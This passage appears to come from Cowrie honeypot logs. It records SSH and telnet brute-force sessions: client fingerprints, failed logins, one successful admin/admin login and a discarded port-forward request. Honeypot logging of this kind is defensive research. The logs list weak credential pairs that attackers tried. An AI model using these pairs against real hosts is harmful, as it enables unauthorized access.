fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:32.979678Z","src_ip":"159.203.92.129","session":"1ffd363f1567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaai2020","password":"123456","message":"login attempt [aaai2020/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:32.990112Z","src_ip":"159.203.92.129","session":"1ffd363f1567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:33.996656Z","src_ip":"159.203.92.129","session":"1ffd363f1567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42782,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ed8b86c27ca","protocol":"ssh","message":"New connection: 80.94.92.186:42782 (159.203.135.109:22) [session: 2ed8b86c27ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:42.785847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:42.923207Z","src_ip":"80.94.92.186","session":"2ed8b86c27ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:42.928300Z","src_ip":"80.94.92.186","session":"2ed8b86c27ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:43.838576Z","src_ip":"80.94.92.186","session":"2ed8b86c27ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:45:45.032977Z","src_ip":"80.94.92.186","session":"2ed8b86c27ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00189900398254,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:04.843852Z","src_ip":"152.59.19.2","session":"24845fa7a936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00267434120178,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:05.837754Z","src_ip":"152.59.19.2","session":"57c6309906df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":44858,"dst_ip":"159.203.135.109","dst_port":23,"session":"3542d9673355","protocol":"telnet","message":"New connection: 152.59.19.2:44858 (159.203.135.109:23) [session: 3542d9673355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:06.345432Z"}
{"eventid":"cowrie.session.closed","duration":120.00229287147522,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:07.579521Z","src_ip":"152.59.19.2","session":"79c41499b368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":45048,"dst_ip":"159.203.135.109","dst_port":23,"session":"601dd4c587ac","protocol":"telnet","message":"New connection: 152.59.19.2:45048 (159.203.135.109:23) [session: 601dd4c587ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:08.065661Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39604,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac10e0d104d0","protocol":"ssh","message":"New connection: 159.203.92.129:39604 (159.203.135.109:22) [session: ac10e0d104d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:15.559808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:15.564255Z","src_ip":"159.203.92.129","session":"ac10e0d104d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:15.568206Z","src_ip":"159.203.92.129","session":"ac10e0d104d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaai2020","password":"aaai2020","message":"login attempt [aaai2020/aaai2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:15.580662Z","src_ip":"159.203.92.129","session":"ac10e0d104d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:16.586800Z","src_ip":"159.203.92.129","session":"ac10e0d104d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":38470,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8bcb28cad98","protocol":"ssh","message":"New connection: 103.63.108.25:38470 (159.203.135.109:22) [session: d8bcb28cad98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:18.966800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:18.980935Z","src_ip":"103.63.108.25","session":"d8bcb28cad98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:19.248543Z","src_ip":"103.63.108.25","session":"d8bcb28cad98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@2021","message":"login attempt [user/user@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:20.331498Z","src_ip":"103.63.108.25","session":"d8bcb28cad98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:21.612416Z","src_ip":"103.63.108.25","session":"d8bcb28cad98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.55.194.155","src_port":51668,"dst_ip":"159.203.135.109","dst_port":22,"session":"05bdfbbab789","protocol":"ssh","message":"New connection: 45.55.194.155:51668 (159.203.135.109:22) [session: 05bdfbbab789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:45.511046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.15","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:45.514901Z","src_ip":"45.55.194.155","session":"05bdfbbab789","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"aae6b9604f6f3356543709a376d7f657","hasshAlgorithms":"sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: aae6b9604f6f3356543709a376d7f657","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:53.609156Z","src_ip":"45.55.194.155","session":"05bdfbbab789","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:55.481594Z","src_ip":"45.55.194.155","session":"05bdfbbab789","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50820,"dst_ip":"159.203.135.109","dst_port":22,"session":"eea58494ac38","protocol":"ssh","message":"New connection: 159.203.92.129:50820 (159.203.135.109:22) [session: eea58494ac38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:57.950554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:57.965533Z","src_ip":"159.203.92.129","session":"eea58494ac38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:57.970397Z","src_ip":"159.203.92.129","session":"eea58494ac38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaai2020","password":"aaai2020123","message":"login attempt [aaai2020/aaai2020123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:57.981558Z","src_ip":"159.203.92.129","session":"eea58494ac38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:46:58.988086Z","src_ip":"159.203.92.129","session":"eea58494ac38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00210046768188,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:00.314665Z","src_ip":"193.239.26.142","session":"7cef22b0a97f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":50088,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc660453c448","protocol":"ssh","message":"New connection: 87.251.64.176:50088 (10.17.0.5:22) [session: fc660453c448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:13.850249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:13.853938Z","src_ip":"87.251.64.176","session":"fc660453c448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:13.949583Z","src_ip":"87.251.64.176","session":"fc660453c448","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:14.237583Z","src_ip":"87.251.64.176","session":"fc660453c448","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:14.339489Z","session":"fc660453c448","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:14.436410Z","src_ip":"87.251.64.176","session":"fc660453c448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:14.669997Z","src_ip":"87.251.64.176","session":"fc660453c448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":56000,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dd4500e409d","protocol":"ssh","message":"New connection: 103.63.108.25:56000 (159.203.135.109:22) [session: 8dd4500e409d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:25.508218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:47:25.518716Z","src_ip":"103.63.108.25","session":"8dd4500e409d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 